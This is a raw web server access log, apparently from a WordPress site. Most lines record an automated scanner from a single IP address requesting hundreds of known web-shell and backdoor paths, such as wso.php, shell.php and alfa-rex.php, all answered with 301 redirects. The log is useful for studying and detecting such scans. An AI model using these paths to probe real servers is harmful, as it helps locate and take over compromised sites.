[14/Apr/2025:03:08:49 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:49 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:50 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:51 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:51 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:52 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:52 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:53 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:53 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:54 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:54 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:55 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:55 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:56 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:56 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:57 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:57 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:58 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:59 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:59 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:00 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:01 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:02 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:03 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:04 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:04 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:05 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:05 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:06 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:06 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:07 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:07 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:08 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:09 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:09 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:10 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:10 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:11 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:12 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:13 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:13 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:14 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:14 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:15 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:15 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:17 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:19 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:21 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:23 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:29 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:33 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:36 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:14 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:16 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:18 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:20 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:21 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:22 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:24 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:30 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:31 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:33 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:35 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:37 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:39 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:40 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:42 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:44 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:44 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:45 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:46 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:49 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:38 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:44 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:47 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:50 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:52 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:54 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:57 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:09:59 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:01 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:03 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:07 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:08 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:11 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:18 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:21 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:23 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:25 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:28 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:29 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:31 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:33 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:34 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:35 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:36 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:38 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:39 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:41 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:44 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:46 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:48 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:49 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:52 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:53 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:55 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:56 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:57 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:58 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:10:59 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:52 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:56 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:07:58 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:01 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:03 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:07 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:08 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:10 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:12 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:13 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:14 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:17 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:21 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:26 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:08:29 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:00 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:03 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:04 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:06 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:07 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:09 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:10 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:13 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:14 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:16 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:19 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:20 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:22 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:23 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:25 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:25 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:26 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:27 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:28 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:28 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:29 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:31 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:33 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:34 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:35 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:36 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:37 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:38 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:38 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:39 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:39 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:40 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:40 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:41 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:41 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:42 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:42 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:42 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:43 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:43 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:43 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:44 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:45 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:46 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:46 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:47 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:47 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:47 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:48 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:48 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:49 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:49 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:49 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:50 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:50 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:50 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:50 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:51 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:52 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:52 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:53 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:53 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:53 -0400] "GET /articles.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:54 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:54 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:55 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:55 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:55 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:56 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:56 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [14/Apr/2025:03:11:56 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.168.149.254 - - [14/Apr/2025:03:11:56 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:57 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:57 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:58 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:58 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:59 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:11:59 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:12:00 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:12:00 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:12:01 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:12:02 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:12:02 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [14/Apr/2025:03:12:30 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 34.0.70.111 - - [14/Apr/2025:03:12:40 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 162.0.232.217 - - [14/Apr/2025:03:12:47 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:03:12:56 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:03:14:03 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:03:15:35 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:03:16:55 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:03:17:10 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:03:17:43 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "get_local:DCV" 137.184.127.222 - - [14/Apr/2025:03:19:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 162.0.232.217 - - [14/Apr/2025:03:21:59 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 192.161.162.179 - - [14/Apr/2025:03:22:34 -0400] "GET /api/upload.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 91.201.115.242 - - [14/Apr/2025:03:48:33 -0400] "GET / HTTP/1.1" 301 795 